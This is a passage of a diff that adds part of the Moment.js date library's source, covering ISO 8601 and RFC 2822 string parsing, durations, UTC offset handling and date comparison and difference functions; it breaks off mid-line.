+ + // Check for 24:00:00.000 + if (config._a[HOUR] === 24 && + config._a[MINUTE] === 0 && + config._a[SECOND] === 0 && + config._a[MILLISECOND] === 0) { + config._nextDay = true; + config._a[HOUR] = 0; + } + + config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input); + expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay(); + + // Apply timezone offset from input. The actual utcOffset can be changed + // with parseZone. + if (config._tzm != null) { + config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); + } + + if (config._nextDay) { + config._a[HOUR] = 24; + } + + // check for mismatching day of week + if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) { + getParsingFlags(config).weekdayMismatch = true; + } +} + +function dayOfYearFromWeekInfo(config) { + var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow; + + w = config._w; + if (w.GG != null || w.W != null || w.E != null) { + dow = 1; + doy = 4; + + // TODO: We need to take the current isoWeekYear, but that depends on + // how we interpret now (local, utc, fixed offset). So create + // a now version of current config (take local/utc/offset flags, and + // create now). + weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year); + week = defaults(w.W, 1); + weekday = defaults(w.E, 1); + if (weekday < 1 || weekday > 7) { + weekdayOverflow = true; + } + } else { + dow = config._locale._week.dow; + doy = config._locale._week.doy; + + var curWeek = weekOfYear(createLocal(), dow, doy); + + weekYear = defaults(w.gg, config._a[YEAR], curWeek.year); + + // Default to current week. + week = defaults(w.w, curWeek.week); + + if (w.d != null) { + // weekday -- low day numbers are considered next week + weekday = w.d; + if (weekday < 0 || weekday > 6) { + weekdayOverflow = true; + } + } else if (w.e != null) { + // local weekday -- counting starts from begining of week + weekday = w.e + dow; + if (w.e < 0 || w.e > 6) { + weekdayOverflow = true; + } + } else { + // default to begining of week + weekday = dow; + } + } + if (week < 1 || week > weeksInYear(weekYear, dow, doy)) { + getParsingFlags(config)._overflowWeeks = true; + } else if (weekdayOverflow != null) { + getParsingFlags(config)._overflowWeekday = true; + } else { + temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy); + config._a[YEAR] = temp.year; + config._dayOfYear = temp.dayOfYear; + } +} + +// iso 8601 regex +// 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00) +var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; +var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; + +var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/; + +var isoDates = [ + ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/], + ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/], + ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/], + ['GGGG-[W]WW', /\d{4}-W\d\d/, false], + ['YYYY-DDD', /\d{4}-\d{3}/], + ['YYYY-MM', /\d{4}-\d\d/, false], + ['YYYYYYMMDD', /[+-]\d{10}/], + ['YYYYMMDD', /\d{8}/], + // YYYYMM is NOT allowed by the standard + ['GGGG[W]WWE', /\d{4}W\d{3}/], + ['GGGG[W]WW', /\d{4}W\d{2}/, false], + ['YYYYDDD', /\d{7}/] +]; + +// iso time formats and regexes +var isoTimes = [ + ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/], + ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/], + ['HH:mm:ss', /\d\d:\d\d:\d\d/], + ['HH:mm', /\d\d:\d\d/], + ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/], + ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/], + ['HHmmss', /\d\d\d\d\d\d/], + ['HHmm', /\d\d\d\d/], + ['HH', /\d\d/] +]; + +var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i; + +// date from iso format +function configFromISO(config) { + var i, l, + string = config._i, + match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string), + allowTime, dateFormat, timeFormat, tzFormat; + + if (match) { + getParsingFlags(config).iso = true; + + for (i = 0, l = isoDates.length; i < l; i++) { + if (isoDates[i][1].exec(match[1])) { + dateFormat = isoDates[i][0]; + allowTime = isoDates[i][2] !== false; + break; + } + } + if (dateFormat == null) { + config._isValid = false; + return; + } + if (match[3]) { + for (i = 0, l = isoTimes.length; i < l; i++) { + if (isoTimes[i][1].exec(match[3])) { + // match[2] should be 'T' or space + timeFormat = (match[2] || ' ') + isoTimes[i][0]; + break; + } + } + if (timeFormat == null) { + config._isValid = false; + return; + } + } + if (!allowTime && timeFormat != null) { + config._isValid = false; + return; + } + if (match[4]) { + if (tzRegex.exec(match[4])) { + tzFormat = 'Z'; + } else { + config._isValid = false; + return; + } + } + config._f = dateFormat + (timeFormat || '') + (tzFormat || ''); + configFromStringAndFormat(config); + } else { + config._isValid = false; + } +} + +// RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3 +var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; + +function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) { + var result = [ + untruncateYear(yearStr), + defaultLocaleMonthsShort.indexOf(monthStr), + parseInt(dayStr, 10), + parseInt(hourStr, 10), + parseInt(minuteStr, 10) + ]; + + if (secondStr) { + result.push(parseInt(secondStr, 10)); + } + + return result; +} + +function untruncateYear(yearStr) { + var year = parseInt(yearStr, 10); + if (year <= 49) { + return 2000 + year; + } else if (year <= 999) { + return 1900 + year; + } + return year; +} + +function preprocessRFC2822(s) { + // Remove comments and folding whitespace and replace multiple-spaces with a single space + return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').trim(); +} + +function checkWeekday(weekdayStr, parsedInput, config) { + if (weekdayStr) { + // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check. + var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr), + weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay(); + if (weekdayProvided !== weekdayActual) { + getParsingFlags(config).weekdayMismatch = true; + config._isValid = false; + return false; + } + } + return true; +} + +var obsOffsets = { + UT: 0, + GMT: 0, + EDT: -4 * 60, + EST: -5 * 60, + CDT: -5 * 60, + CST: -6 * 60, + MDT: -6 * 60, + MST: -7 * 60, + PDT: -7 * 60, + PST: -8 * 60 +}; + +function calculateOffset(obsOffset, militaryOffset, numOffset) { + if (obsOffset) { + return obsOffsets[obsOffset]; + } else if (militaryOffset) { + // the only allowed military tz is Z + return 0; + } else { + var hm = parseInt(numOffset, 10); + var m = hm % 100, h = (hm - m) / 100; + return h * 60 + m; + } +} + +// date and time from ref 2822 format +function configFromRFC2822(config) { + var match = rfc2822.exec(preprocessRFC2822(config._i)); + if (match) { + var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]); + if (!checkWeekday(match[1], parsedArray, config)) { + return; + } + + config._a = parsedArray; + config._tzm = calculateOffset(match[8], match[9], match[10]); + + config._d = createUTCDate.apply(null, config._a); + config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); + + getParsingFlags(config).rfc2822 = true; + } else { + config._isValid = false; + } +} + +// date from iso format or fallback +function configFromString(config) { + var matched = aspNetJsonRegex.exec(config._i); + + if (matched !== null) { + config._d = new Date(+matched[1]); + return; + } + + configFromISO(config); + if (config._isValid === false) { + delete config._isValid; + } else { + return; + } + + configFromRFC2822(config); + if (config._isValid === false) { + delete config._isValid; + } else { + return; + } + + // Final attempt, use Input Fallback + hooks.createFromInputFallback(config); +} + +hooks.createFromInputFallback = deprecate( + 'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' + + 'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' + + 'discouraged and will be removed in an upcoming major release. Please refer to ' + + 'http://momentjs.com/guides/#/warnings/js-date/ for more info.', + function (config) { + config._d = new Date(config._i + (config._useUTC ? ' UTC' : '')); + } +); + +// constant that refers to the ISO standard +hooks.ISO_8601 = function () {}; + +// constant that refers to the RFC 2822 form +hooks.RFC_2822 = function () {}; + +// date from string and format string +function configFromStringAndFormat(config) { + // TODO: Move this to another part of the creation flow to prevent circular deps + if (config._f === hooks.ISO_8601) { + configFromISO(config); + return; + } + if (config._f === hooks.RFC_2822) { + configFromRFC2822(config); + return; + } + config._a = []; + getParsingFlags(config).empty = true; + + // This array is used to make a Date, either with `new Date` or `Date.UTC` + var string = '' + config._i, + i, parsedInput, tokens, token, skipped, + stringLength = string.length, + totalParsedInputLength = 0; + + tokens = expandFormat(config._f, config._locale).match(formattingTokens) || []; + + for (i = 0; i < tokens.length; i++) { + token = tokens[i]; + parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0]; + // console.log('token', token, 'parsedInput', parsedInput, + // 'regex', getParseRegexForToken(token, config)); + if (parsedInput) { + skipped = string.substr(0, string.indexOf(parsedInput)); + if (skipped.length > 0) { + getParsingFlags(config).unusedInput.push(skipped); + } + string = string.slice(string.indexOf(parsedInput) + parsedInput.length); + totalParsedInputLength += parsedInput.length; + } + // don't parse if it's not a known token + if (formatTokenFunctions[token]) { + if (parsedInput) { + getParsingFlags(config).empty = false; + } + else { + getParsingFlags(config).unusedTokens.push(token); + } + addTimeToArrayFromToken(token, parsedInput, config); + } + else if (config._strict && !parsedInput) { + getParsingFlags(config).unusedTokens.push(token); + } + } + + // add remaining unparsed input length to the string + getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength; + if (string.length > 0) { + getParsingFlags(config).unusedInput.push(string); + } + + // clear _12h flag if hour is <= 12 + if (config._a[HOUR] <= 12 && + getParsingFlags(config).bigHour === true && + config._a[HOUR] > 0) { + getParsingFlags(config).bigHour = undefined; + } + + getParsingFlags(config).parsedDateParts = config._a.slice(0); + getParsingFlags(config).meridiem = config._meridiem; + // handle meridiem + config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem); + + configFromArray(config); + checkOverflow(config); +} + + +function meridiemFixWrap (locale, hour, meridiem) { + var isPm; + + if (meridiem == null) { + // nothing to do + return hour; + } + if (locale.meridiemHour != null) { + return locale.meridiemHour(hour, meridiem); + } else if (locale.isPM != null) { + // Fallback + isPm = locale.isPM(meridiem); + if (isPm && hour < 12) { + hour += 12; + } + if (!isPm && hour === 12) { + hour = 0; + } + return hour; + } else { + // this is not supposed to happen + return hour; + } +} + +// date from string and array of format strings +function configFromStringAndArray(config) { + var tempConfig, + bestMoment, + + scoreToBeat, + i, + currentScore; + + if (config._f.length === 0) { + getParsingFlags(config).invalidFormat = true; + config._d = new Date(NaN); + return; + } + + for (i = 0; i < config._f.length; i++) { + currentScore = 0; + tempConfig = copyConfig({}, config); + if (config._useUTC != null) { + tempConfig._useUTC = config._useUTC; + } + tempConfig._f = config._f[i]; + configFromStringAndFormat(tempConfig); + + if (!isValid(tempConfig)) { + continue; + } + + // if there is any input that was not parsed add a penalty for that format + currentScore += getParsingFlags(tempConfig).charsLeftOver; + + //or tokens + currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10; + + getParsingFlags(tempConfig).score = currentScore; + + if (scoreToBeat == null || currentScore < scoreToBeat) { + scoreToBeat = currentScore; + bestMoment = tempConfig; + } + } + + extend(config, bestMoment || tempConfig); +} + +function configFromObject(config) { + if (config._d) { + return; + } + + var i = normalizeObjectUnits(config._i); + config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) { + return obj && parseInt(obj, 10); + }); + + configFromArray(config); +} + +function createFromConfig (config) { + var res = new Moment(checkOverflow(prepareConfig(config))); + if (res._nextDay) { + // Adding is smart enough around DST + res.add(1, 'd'); + res._nextDay = undefined; + } + + return res; +} + +function prepareConfig (config) { + var input = config._i, + format = config._f; + + config._locale = config._locale || getLocale(config._l); + + if (input === null || (format === undefined && input === '')) { + return createInvalid({nullInput: true}); + } + + if (typeof input === 'string') { + config._i = input = config._locale.preparse(input); + } + + if (isMoment(input)) { + return new Moment(checkOverflow(input)); + } else if (isDate(input)) { + config._d = input; + } else if (isArray(format)) { + configFromStringAndArray(config); + } else if (format) { + configFromStringAndFormat(config); + } else { + configFromInput(config); + } + + if (!isValid(config)) { + config._d = null; + } + + return config; +} + +function configFromInput(config) { + var input = config._i; + if (isUndefined(input)) { + config._d = new Date(hooks.now()); + } else if (isDate(input)) { + config._d = new Date(input.valueOf()); + } else if (typeof input === 'string') { + configFromString(config); + } else if (isArray(input)) { + config._a = map(input.slice(0), function (obj) { + return parseInt(obj, 10); + }); + configFromArray(config); + } else if (isObject(input)) { + configFromObject(config); + } else if (isNumber(input)) { + // from milliseconds + config._d = new Date(input); + } else { + hooks.createFromInputFallback(config); + } +} + +function createLocalOrUTC (input, format, locale, strict, isUTC) { + var c = {}; + + if (locale === true || locale === false) { + strict = locale; + locale = undefined; + } + + if ((isObject(input) && isObjectEmpty(input)) || + (isArray(input) && input.length === 0)) { + input = undefined; + } + // object construction must be done this way. + // https://github.com/moment/moment/issues/1423 + c._isAMomentObject = true; + c._useUTC = c._isUTC = isUTC; + c._l = locale; + c._i = input; + c._f = format; + c._strict = strict; + + return createFromConfig(c); +} + +function createLocal (input, format, locale, strict) { + return createLocalOrUTC(input, format, locale, strict, false); +} + +var prototypeMin = deprecate( + 'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/', + function () { + var other = createLocal.apply(null, arguments); + if (this.isValid() && other.isValid()) { + return other < this ? this : other; + } else { + return createInvalid(); + } + } +); + +var prototypeMax = deprecate( + 'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/', + function () { + var other = createLocal.apply(null, arguments); + if (this.isValid() && other.isValid()) { + return other > this ? this : other; + } else { + return createInvalid(); + } + } +); + +// Pick a moment m from moments so that m[fn](other) is true for all +// other. This relies on the function fn to be transitive. +// +// moments should either be an array of moment objects or an array, whose +// first element is an array of moment objects. +function pickBy(fn, moments) { + var res, i; + if (moments.length === 1 && isArray(moments[0])) { + moments = moments[0]; + } + if (!moments.length) { + return createLocal(); + } + res = moments[0]; + for (i = 1; i < moments.length; ++i) { + if (!moments[i].isValid() || moments[i][fn](res)) { + res = moments[i]; + } + } + return res; +} + +// TODO: Use [].sort instead? +function min () { + var args = [].slice.call(arguments, 0); + + return pickBy('isBefore', args); +} + +function max () { + var args = [].slice.call(arguments, 0); + + return pickBy('isAfter', args); +} + +var now = function () { + return Date.now ? Date.now() : +(new Date()); +}; + +var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond']; + +function isDurationValid(m) { + for (var key in m) { + if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) { + return false; + } + } + + var unitHasDecimal = false; + for (var i = 0; i < ordering.length; ++i) { + if (m[ordering[i]]) { + if (unitHasDecimal) { + return false; // only allow non-integers for smallest unit + } + if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) { + unitHasDecimal = true; + } + } + } + + return true; +} + +function isValid$1() { + return this._isValid; +} + +function createInvalid$1() { + return createDuration(NaN); +} + +function Duration (duration) { + var normalizedInput = normalizeObjectUnits(duration), + years = normalizedInput.year || 0, + quarters = normalizedInput.quarter || 0, + months = normalizedInput.month || 0, + weeks = normalizedInput.week || 0, + days = normalizedInput.day || 0, + hours = normalizedInput.hour || 0, + minutes = normalizedInput.minute || 0, + seconds = normalizedInput.second || 0, + milliseconds = normalizedInput.millisecond || 0; + + this._isValid = isDurationValid(normalizedInput); + + // representation for dateAddRemove + this._milliseconds = +milliseconds + + seconds * 1e3 + // 1000 + minutes * 6e4 + // 1000 * 60 + hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978 + // Because of dateAddRemove treats 24 hours as different from a + // day when working around DST, we need to store them separately + this._days = +days + + weeks * 7; + // It is impossible to translate months into days without knowing + // which months you are are talking about, so we have to store + // it separately. + this._months = +months + + quarters * 3 + + years * 12; + + this._data = {}; + + this._locale = getLocale(); + + this._bubble(); +} + +function isDuration (obj) { + return obj instanceof Duration; +} + +function absRound (number) { + if (number < 0) { + return Math.round(-1 * number) * -1; + } else { + return Math.round(number); + } +} + +// FORMATTING + +function offset (token, separator) { + addFormatToken(token, 0, 0, function () { + var offset = this.utcOffset(); + var sign = '+'; + if (offset < 0) { + offset = -offset; + sign = '-'; + } + return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2); + }); +} + +offset('Z', ':'); +offset('ZZ', ''); + +// PARSING + +addRegexToken('Z', matchShortOffset); +addRegexToken('ZZ', matchShortOffset); +addParseToken(['Z', 'ZZ'], function (input, array, config) { + config._useUTC = true; + config._tzm = offsetFromString(matchShortOffset, input); +}); + +// HELPERS + +// timezone chunker +// '+10:00' > ['10', '00'] +// '-1530' > ['-15', '30'] +var chunkOffset = /([\+\-]|\d\d)/gi; + +function offsetFromString(matcher, string) { + var matches = (string || '').match(matcher); + + if (matches === null) { + return null; + } + + var chunk = matches[matches.length - 1] || []; + var parts = (chunk + '').match(chunkOffset) || ['-', 0, 0]; + var minutes = +(parts[1] * 60) + toInt(parts[2]); + + return minutes === 0 ? + 0 : + parts[0] === '+' ? minutes : -minutes; +} + +// Return a moment from input, that is local/utc/zone equivalent to model. +function cloneWithOffset(input, model) { + var res, diff; + if (model._isUTC) { + res = model.clone(); + diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf(); + // Use low-level api, because this fn is low-level api. + res._d.setTime(res._d.valueOf() + diff); + hooks.updateOffset(res, false); + return res; + } else { + return createLocal(input).local(); + } +} + +function getDateOffset (m) { + // On Firefox.24 Date#getTimezoneOffset returns a floating point. + // https://github.com/moment/moment/pull/1871 + return -Math.round(m._d.getTimezoneOffset() / 15) * 15; +} + +// HOOKS + +// This function will be called whenever a moment is mutated. +// It is intended to keep the offset in sync with the timezone. +hooks.updateOffset = function () {}; + +// MOMENTS + +// keepLocalTime = true means only change the timezone, without +// affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]--> +// 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset +// +0200, so we adjust the time as needed, to be valid. +// +// Keeping the time actually adds/subtracts (one hour) +// from the actual represented time. That is why we call updateOffset +// a second time. In case it wants us to change the offset again +// _changeInProgress == true case, then we have to adjust, because +// there is no such time in the given timezone. +function getSetOffset (input, keepLocalTime, keepMinutes) { + var offset = this._offset || 0, + localAdjust; + if (!this.isValid()) { + return input != null ? this : NaN; + } + if (input != null) { + if (typeof input === 'string') { + input = offsetFromString(matchShortOffset, input); + if (input === null) { + return this; + } + } else if (Math.abs(input) < 16 && !keepMinutes) { + input = input * 60; + } + if (!this._isUTC && keepLocalTime) { + localAdjust = getDateOffset(this); + } + this._offset = input; + this._isUTC = true; + if (localAdjust != null) { + this.add(localAdjust, 'm'); + } + if (offset !== input) { + if (!keepLocalTime || this._changeInProgress) { + addSubtract(this, createDuration(input - offset, 'm'), 1, false); + } else if (!this._changeInProgress) { + this._changeInProgress = true; + hooks.updateOffset(this, true); + this._changeInProgress = null; + } + } + return this; + } else { + return this._isUTC ? offset : getDateOffset(this); + } +} + +function getSetZone (input, keepLocalTime) { + if (input != null) { + if (typeof input !== 'string') { + input = -input; + } + + this.utcOffset(input, keepLocalTime); + + return this; + } else { + return -this.utcOffset(); + } +} + +function setOffsetToUTC (keepLocalTime) { + return this.utcOffset(0, keepLocalTime); +} + +function setOffsetToLocal (keepLocalTime) { + if (this._isUTC) { + this.utcOffset(0, keepLocalTime); + this._isUTC = false; + + if (keepLocalTime) { + this.subtract(getDateOffset(this), 'm'); + } + } + return this; +} + +function setOffsetToParsedOffset () { + if (this._tzm != null) { + this.utcOffset(this._tzm, false, true); + } else if (typeof this._i === 'string') { + var tZone = offsetFromString(matchOffset, this._i); + if (tZone != null) { + this.utcOffset(tZone); + } + else { + this.utcOffset(0, true); + } + } + return this; +} + +function hasAlignedHourOffset (input) { + if (!this.isValid()) { + return false; + } + input = input ? createLocal(input).utcOffset() : 0; + + return (this.utcOffset() - input) % 60 === 0; +} + +function isDaylightSavingTime () { + return ( + this.utcOffset() > this.clone().month(0).utcOffset() || + this.utcOffset() > this.clone().month(5).utcOffset() + ); +} + +function isDaylightSavingTimeShifted () { + if (!isUndefined(this._isDSTShifted)) { + return this._isDSTShifted; + } + + var c = {}; + + copyConfig(c, this); + c = prepareConfig(c); + + if (c._a) { + var other = c._isUTC ? createUTC(c._a) : createLocal(c._a); + this._isDSTShifted = this.isValid() && + compareArrays(c._a, other.toArray()) > 0; + } else { + this._isDSTShifted = false; + } + + return this._isDSTShifted; +} + +function isLocal () { + return this.isValid() ? !this._isUTC : false; +} + +function isUtcOffset () { + return this.isValid() ? this._isUTC : false; +} + +function isUtc () { + return this.isValid() ? this._isUTC && this._offset === 0 : false; + +} + +// ASP.NET json date format regex +var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; + +// from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html +// somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere +// and further modified to allow for strings containing both week and day +var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; + +function createDuration (input, key) { + var duration = input, + // matching against regexp is expensive, do it on demand + match = null, + sign, + ret, + diffRes; + + if (isDuration(input)) { + duration = { + ms : input._milliseconds, + d : input._days, + M : input._months + }; + } else if (isNumber(input)) { + duration = {}; + if (key) { + duration[key] = input; + } else { + duration.milliseconds = input; + } + } else if (!!(match = aspNetRegex.exec(input))) { + sign = (match[1] === '-') ? -1 : 1; + duration = { + y : 0, + d : toInt(match[DATE]) * sign, + h : toInt(match[HOUR]) * sign, + m : toInt(match[MINUTE]) * sign, + s : toInt(match[SECOND]) * sign, + ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match + }; + } else if (!!(match = isoRegex.exec(input))) { + sign = (match[1] === '-') ? -1 : (match[1] === '+') ? 1 : 1; + duration = { + y : parseIso(match[2], sign), + M : parseIso(match[3], sign), + w : parseIso(match[4], sign), + d : parseIso(match[5], sign), + h : parseIso(match[6], sign), + m : parseIso(match[7], sign), + s : parseIso(match[8], sign) + }; + } else if (duration == null) {// checks for null or undefined + duration = {}; + } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) { + diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to)); + + duration = {}; + duration.ms = diffRes.milliseconds; + duration.M = diffRes.months; + } + + ret = new Duration(duration); + + if (isDuration(input) && hasOwnProp(input, '_locale')) { + ret._locale = input._locale; + } + + return ret; +} + +createDuration.fn = Duration.prototype; +createDuration.invalid = createInvalid$1; + +function parseIso (inp, sign) { + // We'd normally use ~~inp for this, but unfortunately it also + // converts floats to ints. + // inp may be undefined, so careful calling replace on it. + var res = inp && parseFloat(inp.replace(',', '.')); + // apply sign while we're at it + return (isNaN(res) ? 0 : res) * sign; +} + +function positiveMomentsDifference(base, other) { + var res = {milliseconds: 0, months: 0}; + + res.months = other.month() - base.month() + + (other.year() - base.year()) * 12; + if (base.clone().add(res.months, 'M').isAfter(other)) { + --res.months; + } + + res.milliseconds = +other - +(base.clone().add(res.months, 'M')); + + return res; +} + +function momentsDifference(base, other) { + var res; + if (!(base.isValid() && other.isValid())) { + return {milliseconds: 0, months: 0}; + } + + other = cloneWithOffset(other, base); + if (base.isBefore(other)) { + res = positiveMomentsDifference(base, other); + } else { + res = positiveMomentsDifference(other, base); + res.milliseconds = -res.milliseconds; + res.months = -res.months; + } + + return res; +} + +// TODO: remove 'name' arg after deprecation is removed +function createAdder(direction, name) { + return function (val, period) { + var dur, tmp; + //invert the arguments, but complain about it + if (period !== null && !isNaN(+period)) { + deprecateSimple(name, 'moment().' + name + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' + + 'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.'); + tmp = val; val = period; period = tmp; + } + + val = typeof val === 'string' ? +val : val; + dur = createDuration(val, period); + addSubtract(this, dur, direction); + return this; + }; +} + +function addSubtract (mom, duration, isAdding, updateOffset) { + var milliseconds = duration._milliseconds, + days = absRound(duration._days), + months = absRound(duration._months); + + if (!mom.isValid()) { + // No op + return; + } + + updateOffset = updateOffset == null ? true : updateOffset; + + if (months) { + setMonth(mom, get(mom, 'Month') + months * isAdding); + } + if (days) { + set$1(mom, 'Date', get(mom, 'Date') + days * isAdding); + } + if (milliseconds) { + mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding); + } + if (updateOffset) { + hooks.updateOffset(mom, days || months); + } +} + +var add = createAdder(1, 'add'); +var subtract = createAdder(-1, 'subtract'); + +function getCalendarFormat(myMoment, now) { + var diff = myMoment.diff(now, 'days', true); + return diff < -6 ? 'sameElse' : + diff < -1 ? 'lastWeek' : + diff < 0 ? 'lastDay' : + diff < 1 ? 'sameDay' : + diff < 2 ? 'nextDay' : + diff < 7 ? 'nextWeek' : 'sameElse'; +} + +function calendar$1 (time, formats) { + // We want to compare the start of today, vs this. + // Getting start-of-today depends on whether we're local/utc/offset or not. + var now = time || createLocal(), + sod = cloneWithOffset(now, this).startOf('day'), + format = hooks.calendarFormat(this, sod) || 'sameElse'; + + var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]); + + return this.format(output || this.localeData().calendar(format, this, createLocal(now))); +} + +function clone () { + return new Moment(this); +} + +function isAfter (input, units) { + var localInput = isMoment(input) ? input : createLocal(input); + if (!(this.isValid() && localInput.isValid())) { + return false; + } + units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); + if (units === 'millisecond') { + return this.valueOf() > localInput.valueOf(); + } else { + return localInput.valueOf() < this.clone().startOf(units).valueOf(); + } +} + +function isBefore (input, units) { + var localInput = isMoment(input) ? input : createLocal(input); + if (!(this.isValid() && localInput.isValid())) { + return false; + } + units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); + if (units === 'millisecond') { + return this.valueOf() < localInput.valueOf(); + } else { + return this.clone().endOf(units).valueOf() < localInput.valueOf(); + } +} + +function isBetween (from, to, units, inclusivity) { + inclusivity = inclusivity || '()'; + return (inclusivity[0] === '(' ? this.isAfter(from, units) : !this.isBefore(from, units)) && + (inclusivity[1] === ')' ? this.isBefore(to, units) : !this.isAfter(to, units)); +} + +function isSame (input, units) { + var localInput = isMoment(input) ? input : createLocal(input), + inputMs; + if (!(this.isValid() && localInput.isValid())) { + return false; + } + units = normalizeUnits(units || 'millisecond'); + if (units === 'millisecond') { + return this.valueOf() === localInput.valueOf(); + } else { + inputMs = localInput.valueOf(); + return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf(); + } +} + +function isSameOrAfter (input, units) { + return this.isSame(input, units) || this.isAfter(input,units); +} + +function isSameOrBefore (input, units) { + return this.isSame(input, units) || this.isBefore(input,units); +} + +function diff (input, units, asFloat) { + var that, + zoneDelta, + delta, output; + + if (!this.isValid()) { + return NaN; + } + + that = cloneWithOffset(input, this); + + if (!that.isValid()) { + return NaN; + } + + zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4; + + units = normalizeUnits(units); + + switch (units) { + case 'year': output = monthDiff(this, that) / 12; break; + case 'month': output = monthDiff(this, that); break; + case 'quarter': output = monthDiff(this, that) / 3; break; + case 'second': output = (this - that) / 1e3; break; // 1000 + case 'minute': output = (this - that) / 6e4; break; // 1000 * 60 + case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60 + case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst + case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst + default: output = this - that; + } + + return asFloat ? output : absFloor(output); +} + +function monthDiff (a, b) { + // difference in months + var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()), + // b is in (anchor - 1 month, anchor + 1 month) + anchor = a.clone().add(wholeMonthDiff, 'months'), + anchor2, adjust; + + if (b - anchor < 0) { + anchor2 = a.clone().add(wholeMonthDiff - 1, 'months'); + // linear across the month + adjust = (b - anchor) / (anchor - anchor2); + } else { + anchor2 = a.clone().add(wholeMonthDiff + 1, 'months'); + // linear across the month + adjust = (b - anchor) / (anchor2 - anchor); + } + + //check for negative zero, return zero if negative zero + return -(wholeMonthDiff + adjust) || 0; +} + +hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ'; +hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]'; + +function toString () { + return this.clone().locale('en').format('ddd MMM DD 